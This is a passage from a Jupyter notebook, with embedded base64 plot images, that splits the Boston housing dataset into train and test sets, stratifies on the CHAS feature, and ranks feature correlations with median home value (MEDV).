Z4DvAs/omFebfP6V9rwf8x7edfsB6nX2sV6fOZ4MfLhoM+8GLqg65wYy/zJwV9Fe3QH8y6pzFlkn6vPRGnkfoj1Gx8q8/6vqrNPyx4R9B+zI3dd3rDq/xw3yf1rn7SnyTcTn3wG2a4GSPi9H8UBJkiRJkiQ1SB0OH5MkSZIkSdKYWRSSJEmSJElqIItCkiRJkiRJDWRRSJIkSZIkqYEsCkmSJEmSJDWQRSFJkiRJkqQGsigkSZIkSZLUQBaFJEmSJEmSGsiikCRJkiRJUgNZFJIkSZIkSWogi0KSJEmSJEkNZFFIkiRJkiSpgSwKSZIkSZIkNZBFIUmSJEmSpAayKCRJkiRJktRAFoUkSZIkSZIayKKQJEmSJElSA1kUkiRJkiRJaiCLQpIkSZIkSQ1kUUg/FREHIuKFPea/NSL+NiKWIuJgRHy8mH9/MW8pIh6PiL/vmH5rcZ9nRsQTEfHHHctb6vh7IiL+W8f05ePbYkmTomiffhIRp3bNvyciMiJmI+La4j6dbcy9xf1mi/utzD8cEZ+KiBcVtz81Ir4fERf0WPe7I+IT49lSSZIkaXwsCmlNEbENuAJ4YWZuBuaBvQCZ+YuZubmY/1+BK1emM/M/FYt4DfAocGlEPKV43OaOx30T+Lcd864b8yZKmhx/C1y2MhERc8Cmrvv8YWcbk5nP67r9pKLteR5wK3BjRGzPzL8HPk67zfqpiDiuWOeeEW+LJEmSVDmLQlrPvwL+IjO/BpCZ387M3X08/jXA/wH8A/BvS8gnqTn+lKOLNtuADw2yoKItey/wduAPIuJJtAs//2NE/EzHXX+V9nvlZwZKLEmSJNWYRSGt5wvAayLiP0TEfPGr+YZExL8BzgQ+BlxP1y/wktSnLwBPj4hfKNqi/wn48JDLvAE4HXh2Zv4/wCHg33XcfgXwkcxcHnI9kiRJUu1YFNKaMvPDwG/S/rX8r4AjEbFzgw/fBnwmMx8FPgK8JCJOLyeppIZY6S30IuCrwMNdt7+5GBto5W+9w74eKS5PKS4/VCyfiHg6cAkeOiZJkqQpZVFI68rM6zLzhcBJwP8G/F5E/Opaj4mITcArgeuKZfw17fGD/udy00qacn9Kux3ZTu9Dx96ZmSd1/G1bZ3lnFJffKy4/BLwgIs4Afg14KDO/PILckiRJUu1YFNKGZeY/ZOafAV8BnrvO3V8BPB3444j4dkR8m/aXLw8hkzSwzPwG7QGnL6J96NewXgEcAR4olv9N2gPnX0770LGBxiySJEmSJsHxVQdQ7ZwQEU/tmH417TE2bgN+RPswsl8E7lhnOduAa4Df6Zh3BvCliJjLzH2jiyypYV4HnJyZP4qIgd7HImKGdm/GtwFvzMwnOm7eA7wD+Fns3ShJkqQpZlFI3T7dNb2f9inlPwwcB3wD+I3MvH21BRSHXVwInJuZ3+646dsR8VnaBaM3jzS1pMZYORviKn4rIt7UMf33mXlqx/T3IyJoF7nvBF6ZmZ/tWsYngP8T2JuZh0aRWZIkSaqjyMyqM0iSJEmSJGnMHFNIkiRJkiSpgSwKSZIkSZIkNZBFIUmSJEmSpAayKCRJkiRJktRAtTj72KmnnpqnnXYaJ554YtVRSvWjH/3IbZwC076Nd91113cy87Sqc9TFqaeemrOzs1XHmNjXnbnHa9pz2z5JkiSNVi2KQrOzs7zzne9kYWGh6iilarVabuMUmPZtjIhvVJ2hTmZnZ7nzzjurjjGxrztzj9e057Z9kiRJGi0PH5MkSZIkSWogi0KSJEmSJEkNZFFIkiRJkiSpgSwKSZIkSZIkNZBFIUmSJEmSpAayKCRJkiRJktRAtTgl/bSZ3XnLUdMHdl1cURJJmky2o5IkSVL57CkkSZIkSZLUQBaFJEmSJEmSGsiikCRJkiRJUgNZFJIkSZIkSWogB5qWJI1U5yDRi3PLLFQXRZIkSdIa7CkkaepExFMj4osRcW9E3B8Rv1vMf3tEPBwR9xR/F1WdVZIkSZKqYk8hSdPox8AFmbkUEScAt0fEZ4rb3p2Z76wwmyRJkiTVgkUhSVMnMxNYKiZPKP6yukSSJEmSVD8WhSRNpYg4DrgL+KfA+zLzjoh4CXBlRLwGuBNYzMxHezx2B7ADYGZmhlarNb7gq1haWqpFjo1YnFv+6fWZTQyUu3MZMNgyhjFJ+7uTuSVJktQPi0KSplJmPg6cExEnATdGxHOB9wPvoN1r6B3AVcBrezx2N7AbYH5+PhcWFsaUenWtVos65NiI7V0DTb9qgNydywA4cHn/yxjGJO3vTuaWJElSPxxoWtJUy8zvAy1ga2YezszHM/MJ4APAeVVmkyRJkqQqNa6n0Gz3r8+7Lh7oPpLqKyJOA/4hM78fEZuAFwJ/EBFbMvNQcbdXAPdVFlKSJEmSKta4opCkRtgC7CnGFXoScH1mfioi/jQizqF9+NgB4PXVRZQkSZKkag1cFIqIs4APAT8LPAHszsz3RsTbgf8V+Lvirm/NzE8PG1SSNiozvwKc22P+FRXEkSRJkqRaGqan0DLtM/fcHRFPA+6KiFuL296dme8cPp4kSZIkSZLKMHBRqBiX41Bx/bGI2A+cMapgkiRJkiRJKs9IxhSKiFnah2rcAZwPXBkRrwHupN2b6NEej9kB7ACYmZlhaWmJVqs1ijhrWpxbPmq61zrXu8++h39w1PTcGc/Y0OPHtY1VchslrcfB/CVJkqR6GLooFBGbgU8Cb8rMH0bE+4F30B7I9R3AVcBrux+XmbuB3QDz8/O5efNmFhYWho2zru3dX0YuP3ad691n0NtbrdZYtrFKbqMkSZIkSZPhScM8OCJOoF0Qui4zbwDIzMOZ+XhmPgF8ADhv+JiSJEmSJEkapYGLQhERwNXA/sx8V8f8LR13ewVw3+DxJEmSJEmSVIZhDh87H7gC2BcR9xTz3gpcFhHn0D587ADw+iHWIUmSJEmSpBIMc/ax24HocdOnB48jSZIkSZKkcRhqTCFJkiRJkiRNJotCkiRJkiRJDWRRSJIkSZIkqYEsCkmSJEmSJDWQRSFJUycinhoRX4yIeyPi/oj43WL+KRFxa0Q8WFyeXHVWSZIkSaqKRSFJ0+jHwAWZ+TzgHGBrRDwf2Anszcyzgb3FtCRJkiQ1kkWhMZjdeQuzO29h38M/YHbnLVXHkaZeti0VkycUfwlcAuwp5u8BXj7+dJIkSZJUD8dXHUCSyhARxwF3Af8UeF9m3hERM5l5CCAzD0XE6as8dgewA2BmZoZWqzWm1KtbWlqqRY6NWJxb/un1mU0ck7vzdjj29o3ep0yTtL87mVuSJEn9sCgkaSpl5uPAORFxEnBjRDy3j8fuBnYDzM/P58LCQikZ+9FqtahDjo3Y3tEjcnFumVd15d7e1WPywOVH377R+5RpkvZ3J3NLkiSpHx4+JmmqZeb3gRawFTgcEVsAissj1SWTJEmSpGpZFJI0dSLitKKHEBGxCXgh8FXgZmBbcbdtwE2VBJQkSZKkGvDwsSnRPYD1gV0XV5REqoUtwJ5iXKEnAddn5qci4q+B6yPidcA3gVdWGVKSJEmSqmRRSNLUycyvAOf2mP9d4MLxJ2o2z7ooSZIk1ZOHj0mSJEmSJDWQRSFJkiRJkqQGsigkSZIkSZLUQI4pJEkayrBjBjnmkCRJklSNxheFNvJlpA5fWDy7mCRJkiRJGiUPH5MkSZIkSWqggYtCEXFWRHw+IvZHxP0R8cZi/ikRcWtEPFhcnjy6uJIkSZIkSRqFYXoKLQOLmfkLwPOBN0TEc4CdwN7MPBvYW0xLkiRJkiSpRgYuCmXmocy8u7j+GLAfOAO4BNhT3G0P8PIhM0qSJEmSJGnERjKmUETMAucCdwAzmXkI2oUj4PRRrEOSJEmSJEmjM/TZxyJiM/BJ4E2Z+cOI2OjjdgA7AGZmZlhaWqLVag0bZ12Lc8sjX2Z37tXWMbOpfdsg29m9zPXWOY592cu4nscqNWEbJUmSJEnTb6iiUEScQLsgdF1m3lDMPhwRWzLzUERsAY70emxm7gZ2A8zPz+fmzZtZWFgYJs6GbC/h9PIHLl/Y0DoW55a5at/xx9x/I7qXud46B1nHKLRarbE8j1VqwjZKkiRJkqbfMGcfC+BqYH9mvqvjppuBbcX1bcBNg8eTJEmSJElSGYYZU+h84Arggoi4p/i7CNgFvCgiHgReVExL0thExFkR8fmI2B8R90fEG4v5b4+Ih7vaLEmSJElqpIEPH8vM24HVBhC6cNDlStIILAOLmXl3RDwNuCsibi1ue3dmvrPCbJIkSZJUC0MPNF13syWMISSp3oozH66cBfGxiNgPnFFtKkmSJEmql6kvCklqtoiYBc4F7qB92OuVEfEa4E7avYke7fGYo86OWIezzdX5rHdrndVx5ayLwxr3ttd5f6/F3JIkSeqHRSFJUysiNtM+Q+KbMvOHEfF+4B1AFpdXAa/tflz32RHrcLa5Op/1bq2zOq6cdXFY4z6jYp3391rMLUmSpH4MM9C0JNVWRJxAuyB0XWbeAJCZhzPz8cx8AvgAcF6VGSVJkiSpShaFJE2diAjgamB/Zr6rY/6Wjru9Arhv3NkkSZIkqS48fEzSNDofuALYFxH3FPPeClwWEefQPnzsAPD6KsJJkiRJUh1YFKqpKs6a1r3OA7suHnsGaRQy83Ygetz06XFnkSRJkqS68vAxSZIkSZKkBrIoJEmSJEmS1EAePiZJU8zDQiVJkiStxp5CkiRJkiRJDWRRSJIkSZIkqYEsCkmSJEmSJDWQRSFJkiRJkqQGsigkSZIkSZLUQBaFJEmSJEmSGsiikCRJkiRJUgMdX3UAtc3uvKXqCMfoznRg18UVJZEkSZIkSaNmUUiSVHsWqSVJkqTR8/AxSVMnIs6KiM9HxP6IuD8i3ljMPyUibo2IB4vLk6vOKkmSJElVGaooFBHXRMSRiLivY97bI+LhiLin+Lto+JiS1JdlYDEzfwF4PvCGiHgOsBPYm5lnA3uLaUmSJElqpGF7Cl0LbO0x/92ZeU7x9+kh1yFJfcnMQ5l5d3H9MWA/cAZwCbCnuNse4OWVBJQkSZKkGhhqTKHMvC0iZkeURZJGrmijzgXuAGYy8xC0C0cRcfoqj9kB7ACYmZmh1WqNJ+walpaWBsqxOLd81HQZ29K9jk4zm9a+fVBlPyeD7u+qmVuSJEn9iMwcbgHtL1yfysznFtNvB7YDPwTupH0Ix6M9Htf5petffvCDH2Tz5s1DZell38M/GPkyBzWzCQ7/N5g74xnH3NZvzu5ldD++1zrWs16GjSxzaWmplOexTqZ9G1/wghfclZnzVecYhYjYDPwV8PuZeUNEfD8zT+q4/dHMXHNcofn5+bzzzjtLTrq+VqvFwsJC348bxwDNa509cXFumav2jf6cBmUPND3o/q7atOeOiKlpnyRJkuqgjLOPvR94B5DF5VXAa7vvlJm7gd3Q/tK1efPmUj7Ibq/Rqd5XvhwduHzhmNv6zdm9jO7H91rHetbLsJFlTuoXkn40YRunQUScAHwSuC4zbyhmH46ILUUvoS3AkeoSSpIkSVK1Rn72scw8nJmPZ+YTwAeA80a9DklaS0QEcDWwPzPf1XHTzcC24vo24KZxZ5MkSZKkuhh5T6GVX+GLyVcA9611f0kqwfnAFcC+iLinmPdWYBdwfUS8Dvgm8Mpq4tXHOA4vkyRJklRPQxWFIuKjwAJwakQcBN4GLETEObQPHzsAvH64iJLUn8y8HYhVbr5wnFkkSZIkqa6GPfvYZT1mXz3MMiVJkiRJklS+MgaartRaZ8Gpi1FkXG8ZHhIiSZIkSZLWMvKBpiVJkiRJklR/U9dTSJJUrknokSlJkiRpffYUkiRJkiRJaiCLQpIkSZIkSQ008YePeRjDxrifJEmSJElSJ3sKSZIkSZIkNZBFIUmSJEmSpAayKCRJkiRJktRAFoUkSZIkSZIaaOIHmpYklcuB6jVq3a+pa7eeWFESSZKkZrOnkKSpFBHXRMSRiLivY97bI+LhiLin+LuoyoySJEmSVCWLQpKm1bXA1h7z352Z5xR/nx5zJkmSJEmqDYtCkqZSZt4GfK/qHJIkSZJUVxaFJDXNlRHxleLwspOrDiNJkiRJVXGgaUlN8n7gHUAWl1cBr+2+U0TsAHYAzMzM0Gq1xhixt6WlpYFyLM4tHzX9n6+7qev2o+/fax3dy+jHzKbhHr+a7u2YO+MZI13+oPu7apOSu/s1MSm5JUmSpo1FIUmNkZmHV65HxAeAT61yv93AboD5+flcWFgYS761tFotBsmxvc8zhx24/Nh19LuMTotzy1y1r/y3ml65hzHo/q7apOTufk1du/XEicgtSZI0bTx8TFJjRMSWjslXAPetdl9JkiRJmnb2FJI0lSLio8ACcGpEHATeBixExDm0Dx87ALy+qnySJEmSVLWhikIRcQ3wUuBIZj63mHcK8HFglvaXrldl5qPDxZSk/mTmZT1mXz32IBNmdohDxSRJkiRNlmEPH7sW2No1byewNzPPBvYW05IkSZIkSaqRoYpCmXkb8L2u2ZcAe4rre4CXD7MOSZIkSZIkjV4ZYwrNZOYhgMw8FBGn97pT9ymfR3W65Tor69TM47KRU0A34bTCTdhGSZIkSdL0q2yg6e5TPm/evHksp1uu0rhOzTwuvU4BPSmnQx5GE7ZRkiRJkjT9yjgl/eGV0z4Xl0dKWIckSZIkSZKGUEZR6GZgW3F9G3DTGveVJEmSJElSBYYqCkXER4G/Bp4dEQcj4nXALuBFEfEg8KJiWpIkSZIkSTUy1AA3mXnZKjddOMxyJUmSJEmSVK7pGfVYU2m2ayDxA7suriiJJEmSJEnTpYwxhSRJkiRJklRzFoUkSZIkSZIayKKQJEmSJElSAzmmkCRp6jk+mSRJknQsewpJmkoRcU1EHImI+zrmnRIRt0bEg8XlyVVmlCRJkqQqWRSSNK2uBbZ2zdsJ7M3Ms4G9xbQkSZIkNZJFIUlTKTNvA77XNfsSYE9xfQ/w8nFmkiRJkqQ6cUwhSU0yk5mHADLzUESc3utOEbED2AEwMzNDq9UaX8JVLC0t9cyx7+EfHDU9d8YzjppenFsuM9a6ZjaNJ8N6z1F3hvXuv9r+rrtJyd39fExKbkmSpGljUUiSumTmbmA3wPz8fC4sLFQbiHYRo1eO7d0DKF++sObt47Y4t8xV+8p/q+ne7m7r7aduq+3vupuU3N3Px7VbT5yI3JIkSdPGw8ckNcnhiNgCUFweqTiPJEmSJFXGnkIaWPcpnqHdK2C1ngkbOQV0r2VKI3QzsA3YVVzeVG0cSZIkSaqORSFJUykiPgosAKdGxEHgbbSLQddHxOuAbwKvrC6hqrReAXpxbpmF8USRJEmSKmNRSNJUyszLVrnpwrEGkSRJkqSackwhSZIkSZKkBrIoJEmSJEmS1EAWhSRJkiRJkhrIMYU0Nr0Gdt3IGcmqXmf3Mq7deuJQmaRhrDdAsmfwq073vu9ua6poAyVJkqS12FNIkiRJkiSpgUrrKRQRB4DHgMeB5cycL2tdkiRJkiRJ6k/Zh4+9IDO/U/I6JEmSJEmS1CfHFJKkMVlvvB/HlxmdMsZWcrwmSZIkTZsyi0IJfC4iEviTzNzdeWNE7AB2AMzMzLC0tESr1ep7JYtzyyOIOh4zmyYr7yD63cbu53y9x/b7Gum1vGGXMehrVZIkSZKkOimzKHR+Zj4SEacDt0bEVzPztpUbiyLRboD5+fncvHkzCwsLfa9k+wT9crs4t8xV+6a7c1a/23jg8oWjptd7Prvvv55eyxt2GdduPXGg16okSZIkSXVS2tnHMvOR4vIIcCNwXlnrkiRJkiRJUn9K6bYSEScCT8rMx4rrLwZ+r4x1SdK06hzDZnFueaJ6RkqSJEmqv7KOZZoBboyIlXV8JDM/W9K6JKkvEXEAeAx4HFjOzPlqE0mSJEnS+JVSFMrMrwPPK2PZkjQiL8jM71QdQpIkSZKqMt2jHks9dJ9W2tOAS5IkSZKayKKQpCZK4HMRkcCfFGdD/KmI2AHsAJiZmaHVao1kpYtzy2ve3r2ezvvPbFr/8XU0rtxr7btBzGyC/3zdTV3LHH2m7nXMnfGM/lbSZWlpaWSv1zJ174tJyS1JkjRtLApJaqLzM/ORiDgduDUivpqZt63cWBSJdgPMz8/nwsLCSFa63kDRBy4/ej3buwaavmrf5DXZ48q91r4bxChyD5Kp+zH9arVajOr1WqbufXHt1hMnIrckSdK0Ke2U9JJUV5n5SHF5BLgROK/aRJIkSZI0fhaFJDVKRJwYEU9buQ68GLiv2lSSJEmSNH6TdyyCJA1nBrgxIqDdBn4kMz9bbSRJkiRJGr+JKwp1nzlKk63f57MOZw7b9/APjhoPo4wMddjOaZWZXweeV3UOjda0vDf4vy9JkqRx8vAxSZIkSZKkBrIoJEmSJEmS1EAWhSRJkiRJkhpo4sYUkqS6GnY8mGkZF0fq5mtbkiSpniwKaaoM8sVj1F/kHRhWkiRJkjQJPHxMkiRJkiSpgSwKSZIkSZIkNZCHj0mSVIJRjKNTx3GqPERWkiRpethTSJIkSZIkqYEsCkmSJEmSJDWQh49popVxaMSwy+z1+PUOtyhjnf1mkCRJkiQ1iz2FJEmSJEmSGsieQpJUkjJ6sqnZ1ntNXbv1xMoz2CtRkiRpcpTWUygitkbEAxHxUETsLGs9ktQv2ydJkiRJKqkoFBHHAe8DXgI8B7gsIp5TxrokqR+2T5IkSZLUVlZPofOAhzLz65n5E+BjwCUlrUuS+mH7JEmSJElAZOboFxrxa8DWzPz1YvoK4F9n5pUd99kB7Cgmnw18F/jOyMPUy6m4jdNg2rfx5zLztKpDlGXA9umBsQc91qS+7sw9XtOee6rbJ0mSpHEra6Dp6DHvqOpTZu4Gdv/0ARF3ZuZ8SXlqwW2cDk3YxinXd/tUB5P6ujP3eJlbkiRJ/Sjr8LGDwFkd02cCj5S0Lknqh+2TJEmSJFFeUehLwNkR8cyIeDJwKXBzSeuSpH7YPkmSJEkSJR0+lpnLEXEl8BfAccA1mXn/Og+r1aEaJXEbp0MTtnFqDdg+1cGkvu7MPV7mliRJ0oaVMtC0JEmSJEmS6q2sw8ckSZIkSZJUYxaFJEmSJEmSGqjyolBEbI2IByLioYjYWXWeUYmIayLiSETc1zHvlIi4NSIeLC5PrjLjMCLirIj4fETsj4j7I+KNxfyp2UaAiHhqRHwxIu4ttvN3i/lTtZ2ql0lsPya1TZj0//GIOC4ivhwRnyqma587Ig5ExL6IuCci7izm1T63JEnSNKq0KBQRxwHvA14CPAe4LCKeU2WmEboW2No1byewNzPPBvYW05NqGVjMzF8Ang+8oXjupmkbAX4MXJCZzwPOAbZGxPOZvu1UvVzL5LUfk9omTPr/+BuB/R3Tk5L7BZl5TmbOF9OTkluSJGmqVN1T6Dzgocz8emb+BPgYcEnFmUYiM28Dvtc1+xJgT3F9D/DycWYapcw8lJl3F9cfo/2l5AymaBsBsm2pmDyh+EumbDtVL5PYfkxqmzDJ/+MRcSZwMfDBjtm1z72KSc0tSZI00aouCp0BfKtj+mAxb1rNZOYhaH+BAk6vOM9IRMQscC5wB1O4jcXhGfcAR4BbM3Mqt1O1NzGvuUlrEyb4f/w9wG8BT3TMm4TcCXwuIu6KiB3FvEnILUmSNHWOr3j90WNejj2FBhYRm4FPAm/KzB9G9HpKJ1tmPg6cExEnATdGxHMrjiTV1iS2CZP4Px4RLwWOZOZdEbFQcZx+nZ+Zj0TE6cCtEfHVqgNJkiQ1VdU9hQ4CZ3VMnwk8UlGWcTgcEVsAissjFecZSkScQPvL33WZeUMxe6q2sVNmfh9o0R7rZWq3U7VV+9fcpLcJE/Y/fj7wsog4QPvQ6wsi4sPUPzeZ+UhxeQS4kfah5LXPLUmSNI2qLgp9CTg7Ip4ZEU8GLgVurjhTmW4GthXXtwE3VZhlKNH++f9qYH9mvqvjpqnZRoCIOK3oPUBEbAJeCHyVKdtOTYRav+YmtU2Y1P/xzHxLZp6ZmbO03zv/MjNfTc1zR8SJEfG0levAi4H7qHluSZKkaRWZ1R6tFREX0R4X4Tjgmsz8/UoDjUhEfBRYAE4FDgNvA/4cuB7474BvAq/MzO7BZCdCRPwy8F+BffzjeBZvpT2GyFRsI0BE/Avag54eR7uIen1m/l5E/BOmaDtVL5PYfkxqmzAN/+PF4WNvzsyX1j13RDyLdu8gaB/C/pHM/P2655YkSZpWlReFJEmSJEmSNH5VHz4mSZIkSZKkClgUkiRJkiRJaiCLQpIkSZIkSQ1kUUiSJEmSJKmBLApJkiRJkiQ1kEUhSZIkSZKkBrIoJEmSJEmS1ED/P48isdqJ6umUAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "housing.hist(bins=50, figsize=(20, 15))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Train-Test Splitting" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [], + "source": [ + "import numpy as np\n", + "\n", + "\n", + "def split_train_test(data, test_ratio):\n", + " np.random.seed(42)\n", + " shuffled = np.random.permutation(len(data))\n", + " test_set_size = int(len(data) * test_ratio)\n", + " test_indices = shuffled[:test_set_size]\n", + " train_indices = shuffled[test_set_size:]\n", + " return data.iloc[train_indices], data.iloc[test_indices]" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [], + "source": [ + "train_set, test_set = split_train_test(housing, 0.2)" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Rows in train set: 405 \n", + "Rows in test set : 101\n" + ] + } + ], + "source": [ + "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Rows in train set: 404 \n", + "Rows in test set : 102\n" + ] + } + ], + "source": [ + "from sklearn.model_selection import train_test_split\n", + "\n", + "train_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\n", + "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [], + "source": [ + "from sklearn.model_selection import StratifiedShuffleSplit\n", + "\n", + "split = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\n", + "for train_index, test_index in split.split(housing, housing[\"CHAS\"]):\n", + " strat_train_set = housing.loc[train_index]\n", + " strat_test_set = housing.loc[test_index]" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
count102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000
mean3.65594213.45098010.3122550.0686270.5413536.30335366.7333333.9884608.813725391.98039218.385294369.67019612.10431422.625490
std10.40096627.5032416.7611540.2540680.1113970.66299627.7721832.1312478.614667167.8373792.31060468.0757746.7592578.452344
min0.0090600.0000000.4600000.0000000.3850004.1380006.5000001.1370001.000000188.00000012.6000003.6500002.4700005.000000
25%0.0578280.0000004.9500000.0000000.4480005.91275045.8500002.2236504.000000270.00000016.800000377.6850007.48000018.925000
50%0.1761500.0000007.7600000.0000000.5150006.17600071.1000003.4229505.000000307.00000019.150000393.74000010.56500021.500000
75%2.0619550.00000018.1000000.0000000.6127506.53950093.5000005.6092258.000000461.00000020.200000396.90000016.26750025.000000
max88.97620090.00000027.7400001.0000000.8710008.725000100.00000010.58570024.000000711.00000022.000000396.90000037.97000050.000000
\n", + "
" + ], + "text/plain": [ + " CRIM ZN INDUS CHAS NOX RM \\\n", + "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n", + "mean 3.655942 13.450980 10.312255 0.068627 0.541353 6.303353 \n", + "std 10.400966 27.503241 6.761154 0.254068 0.111397 0.662996 \n", + "min 0.009060 0.000000 0.460000 0.000000 0.385000 4.138000 \n", + "25% 0.057828 0.000000 4.950000 0.000000 0.448000 5.912750 \n", + "50% 0.176150 0.000000 7.760000 0.000000 0.515000 6.176000 \n", + "75% 2.061955 0.000000 18.100000 0.000000 0.612750 6.539500 \n", + "max 88.976200 90.000000 27.740000 1.000000 0.871000 8.725000 \n", + "\n", + " AGE DIS RAD TAX PTRATIO B \\\n", + "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n", + "mean 66.733333 3.988460 8.813725 391.980392 18.385294 369.670196 \n", + "std 27.772183 2.131247 8.614667 167.837379 2.310604 68.075774 \n", + "min 6.500000 1.137000 1.000000 188.000000 12.600000 3.650000 \n", + "25% 45.850000 2.223650 4.000000 270.000000 16.800000 377.685000 \n", + "50% 71.100000 3.422950 5.000000 307.000000 19.150000 393.740000 \n", + "75% 93.500000 5.609225 8.000000 461.000000 20.200000 396.900000 \n", + "max 100.000000 10.585700 24.000000 711.000000 22.000000 396.900000 \n", + "\n", + " LSTAT MEDV \n", + "count 102.000000 102.000000 \n", + "mean 12.104314 22.625490 \n", + "std 6.759257 8.452344 \n", + "min 2.470000 5.000000 \n", + "25% 7.480000 18.925000 \n", + "50% 10.565000 21.500000 \n", + "75% 16.267500 25.000000 \n", + "max 37.970000 50.000000 " + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "strat_test_set.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "0 95\n", + "1 7\n", + "Name: CHAS, dtype: int64" + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "strat_test_set[\"CHAS\"].value_counts()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "0 376\n", + "1 28\n", + "Name: CHAS, dtype: int64" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "strat_train_set[\"CHAS\"].value_counts()" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [], + "source": [ + "housing = strat_train_set.copy() # use just after split data" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Looking for Correlations" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "corr_matrix = housing.corr()" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "MEDV 1.000000\n", + "RM 0.679894\n", + "B 0.361761\n", + "ZN 0.339741\n", + "DIS 0.240451\n", + "CHAS 0.205066\n", + "AGE -0.364596\n", + "RAD -0.374693\n", + "CRIM -0.393715\n", + "NOX -0.422873\n", + "TAX -0.456657\n", + "INDUS -0.473516\n", + "PTRATIO -0.493534\n", + "LSTAT -0.740494\n", + "Name: MEDV, dtype: float64" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "corr_matrix[\"MEDV\"].sort_values(ascending=False)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " ,\n", + " ,\n", + " ]], dtype=object)" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAtAAAAHmCAYAAABanLmxAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/d3fzzAAAACXBIWXMAAAsTAAALEwEAmpwYAAEAAElEQVR4nOz9d5hc+XnfiX5OqJw7VOeE1MgZmJwTyWEYhmESJUqURNvatdf2XVny3md37d1nvZJ8fa3rcO1Lr61VpJjFPCSHw8kJGYNBDp1jdeV08v3jNHrQ6G6gu9HoAPw+z4MHVV1V5/yq6tTvvOf9ve/3KzmOg0AgEAgEAoFAIJgf8koPQCAQCAQCgUAgWEuIAFogEAgEAoFAIFgAIoAWCAQCgUAgEAgWgAigBQKBQCAQCASCBSACaIFAIBAIBAKBYAGIAFogEAgEAoFAIFgAyxpAS5LUKUnSqCRJL0uS9PPJv/2+JEmvS5L015IkeZZzPAKBQCAQCAQCwUJRV2Cfv3Ac50sAkiTVA485jvOgJEl/ADwHfOtGL66rq3M6Oztv+yAFgoXS09PDWjw2ddMGwKve/utpB9ANG1WRUGTphs81LBvHWfi4LNvBtBy8Hpkb7cF23PfuVWVuMpQZ6KaNJIFHmXtstgNVw0IC/B4F3bLRTIuIz80TaKaNV5WQpZk7v/ZzshwH5vE53OjzuvbYHMtXyVYM2hIBAt7lPwV